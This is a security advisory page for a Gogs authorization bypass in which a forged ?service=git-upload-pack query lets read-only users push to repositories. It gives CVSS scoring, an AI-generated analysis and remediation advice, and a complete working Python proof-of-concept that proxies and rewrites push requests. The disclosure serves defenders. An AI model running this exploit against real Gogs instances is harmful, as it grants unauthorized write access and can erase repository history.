Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-reachable with low complexity but requires an authenticated low-privilege (read) account, hence PR:L; unauthorized writes give I:H, force-push history overwrite gives A:L, and no data disclosure means C:N.
Primary rating from Vendor (https://github.com/gogs/gogs).
CVSS VectorVendor: https://github.com/gogs/gogs
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
6DescriptionCVE.org
Summary
Git smart HTTP authorizes POST …/git-receive-pack using the client-supplied service query string (so ?service=git-upload-pack is evaluated as read access) while routing still runs git receive-pack, allowing push where only read should be allowed.
Details
Gogs' Git Smart HTTP handler for repository RPCs relies on a client-supplied query parameter to decide which authorization policy to apply. The Git protocol exposes two primary RPCs over HTTP: upload-pack for fetch (read) and receive-pack for push (write).
In the affected implementation, the code derives the access mode from the service query parameter (for example, service=git-upload-pack) instead of the actual RPC path being executed. As a result, a request sent to the receive-pack endpoint can be incorrectly treated as a read operation if the query parameter claims it is an upload-pack. This behavior enables a request to POST to the write endpoint (/repo.git/git-receive-pack) while including a query string that indicates a read service.
Route dispatch still executes the receive-pack code path, but authorization is evaluated as if the request were a read. A user who is normally only allowed to read a repository, can now write to it.
One edge case is fully public repositories, viewable by anonymous users. Since performing this exploit results in a AuthUser property becoming nil in this case, a part of the code that uses it crashes (500 Internal Server Error), making it impossible to exploit.
The two situations in which this is vulnerable are:
- Attacker = collaborator with only Read rights & victim = owner of the repository
- Instance using
REQUIRE_SIGNIN_VIEW = true. Attacker = any signed in user & victim = any user with a public repository
PoC
- Create a Gogs instance (eg. http://localhost:3000) with 2 users:
victim&attacker - As the victim, create a new private repository and add the attacker as a Read collaborator:
<img width="1029" height="387" alt="image" src="https://github.com/user-attachments/assets/1f6b7f72-eaab-4970-bf65-221f1cebbbfa" />
- As the attacker, execute the following Python script (editing global vars as required):
from __future__ import annotations
import os
import shutil
import subprocess
import sys
import tempfile
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import quote, urlsplit, urlunsplit
import requests
REPO_URL = "http://localhost:3000/victim/target"
USERNAME = "attacker"
PASSWORD = "attacker"
class ProxyHandler(BaseHTTPRequestHandler):
upstream_scheme: str
upstream_netloc: str
log_rewrite: bool
def log_message(self, *_args) -> None:
return
def do_GET(self) -> None:
self._relay("GET")
def do_POST(self) -> None:
self._relay("POST")
def _relay(self, method: str) -> None:
raw = self.path
if raw.startswith("http://") or raw.startswith("https://"):
u = urlsplit(raw)
scheme, netloc, path, query = u.scheme, u.netloc, u.path, u.query
else:
u = urlsplit(raw)
scheme, netloc, path, query = (
self.upstream_scheme,
self.upstream_netloc,
u.path,
u.query,
)
q = query or ""
if path.endswith("/git-receive-pack") and "service=" not in q:
query = f"{q}&service=git-upload-pack" if q else "service=git-upload-pack"
if self.log_rewrite:
sys.stderr.write(
f"[poc] rewrite receive-pack -> {path}?{query}\n")
url = urlunsplit((scheme, netloc, path, query, ""))
length = self.headers.get("Content-Length")
body = self.rfile.read(int(length)) if length else None
skip = {
"host",
"connection",
"proxy-connection",
"content-length",
"transfer-encoding",
}
out_headers = {}
for k, v in self.headers.items():
if k.lower() in skip:
continue
out_headers[k] = v
out_headers["Host"] = netloc
try:
with requests.request(
method,
url,
data=body,
headers=out_headers,
timeout=600,
stream=True,
) as resp:
resp.raw.decode_content = False
data = resp.raw.read()
status = resp.status_code
headers = resp.headers
except requests.RequestException as exc:
self.send_error(502, f"upstream: {exc}")
return
hop_by_hop = {
"transfer-encoding",
"connection",
"content-encoding",
"proxy-authenticate",
"proxy-authorization",
"te",
"trailers",
"upgrade",
}
self.send_response(status)
for k, v in headers.items():
if k.lower() in hop_by_hop:
continue
self.send_header(k, v)
self.send_header("Content-Length", str(len(data)))
self.end_headers()
self.wfile.write(data)
def _run_git(cwd: str, *args: str, env: dict[str, str] | None = None) -> None:
r = subprocess.run(["git", *args], cwd=cwd, env=env,
capture_output=True, text=True)
if r.returncode != 0:
sys.stderr.write(r.stdout or "")
sys.stderr.write(r.stderr or "")
raise SystemExit(r.returncode)
def main() -> None:
base = urlsplit(REPO_URL)
repo_path = f"{base.path.rstrip('/')}.git"
auth = f"{quote(USERNAME, safe='')}:{quote(PASSWORD, safe='')}@{base.netloc}"
remote = urlunsplit((base.scheme, auth, repo_path, "", ""))
ProxyHandler.upstream_scheme = base.scheme
ProxyHandler.upstream_netloc = base.netloc
ProxyHandler.log_rewrite = True
srv = HTTPServer(("127.0.0.1", 0), ProxyHandler)
port = srv.server_address[1]
t = threading.Thread(target=srv.serve_forever, daemon=True)
t.start()
tmp = tempfile.mkdtemp(prefix="gogs-git-poc-")
try:
_run_git(tmp, "init")
_run_git(tmp, "config", "user.email", "poc@example.invalid")
_run_git(tmp, "config", "user.name", "gogs git http poc")
with open(f"{tmp}/POC_VULN.txt", "w", encoding="utf-8") as f:
f.write(
"Created by local PoC: Git HTTP path is receive-pack while "
"authorization follows forged service=git-upload-pack.\n"
)
_run_git(tmp, "add", "POC_VULN.txt")
_run_git(tmp, "commit", "-m",
"poc: unauthorized push via service query confusion")
_run_git(tmp, "branch", "-M", "poc/git-http-confusion")
_run_git(tmp, "remote", "add", "origin", remote)
env = os.environ.copy()
proxy_url = f"http://127.0.0.1:{port}"
env["http_proxy"] = proxy_url
env["HTTP_PROXY"] = proxy_url
env["https_proxy"] = proxy_url
env["HTTPS_PROXY"] = proxy_url
push = subprocess.run(
["git", "push", "-u", "origin", "poc/git-http-confusion"],
cwd=tmp,
env=env,
capture_output=True,
text=True,
)
if push.returncode != 0:
sys.stderr.write(push.stdout or "")
sys.stderr.write(push.stderr or "")
sys.exit(push.returncode)
sys.stdout.write(push.stdout or "")
sys.stderr.write(
f"\n[poc] push succeeded. Branch poc/git-http-confusion should exist on {REPO_URL}.\n"
)
finally:
srv.shutdown()
shutil.rmtree(tmp, ignore_errors=True)
if __name__ == "__main__":
main()- Reload the repo URL and notice the attacker successfully wrote to the read-only repo:
<img width="1038" height="398" alt="image" src="https://github.com/user-attachments/assets/4ada8b19-8cbd-40b0-a324-e93ed4d1c965" />
Impact
If you can read a repository, and an anonymous user cannot, you can write to it. This affects some cases where read-only collaborator access is given, but is most impactful in instances with REQUIRE_SIGNIN_VIEW = true configured, because then all repositories will be writable to any user. Using force push this can also affect availability, as the original code in the main branch, for example, can be overridden without leaving history.
AnalysisAI
Improper authorization in Gogs (self-hosted Git service) versions before 0.14.3 lets a read-only user write to repositories they should only be able to fetch from. The Git Smart HTTP handler derives the access policy from the client-supplied ?service= query parameter rather than the actual RPC path, so a POST to /repo.git/git-receive-pack carrying ?service=git-upload-pack is authorized as a read while the receive-pack (push) code path still executes. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The attacker must be an authenticated user with at least read access to the target repository, and the repository must NOT be anonymously readable - fully public repos viewable by anonymous users are not exploitable because the nil AuthUser triggers a 500 error. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The supplied CVSS 4.0 vector (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L, base 7.1) is internally consistent with the description: network-reachable, low attack complexity, requires an authenticated low-privilege account (PR:L), no user interaction, high integrity impact (unauthorized writes) and low availability impact (history overwrite via force push), with no confidentiality loss. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker holding a read-only collaborator account (or, on a REQUIRE_SIGNIN_VIEW instance, any signed-in account) runs a local HTTP proxy that appends ?service=git-upload-pack to the git-receive-pack request, then performs git push through it. Gogs authorizes the request as a read while still executing receive-pack, so the attacker's commits land in the victim's repository, and a force push can overwrite branch history. … |
| Remediation | Vendor-released patch: upgrade Gogs to version 0.14.3 or later (https://github.com/gogs/gogs/releases/tag/v0.14.3), which fixes the authorization logic so push requests are always evaluated against the receive-pack code path (PR #8331, commit 7c9cf53). … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Identify all Gogs instances and determine which are running versions prior to 0.14.3; assess exposure in production and development environments. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
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External POC / Exploit Code
Leaving vuln.today
EUVD-2026-39081
GHSA-wmfg-5p4h-5fw3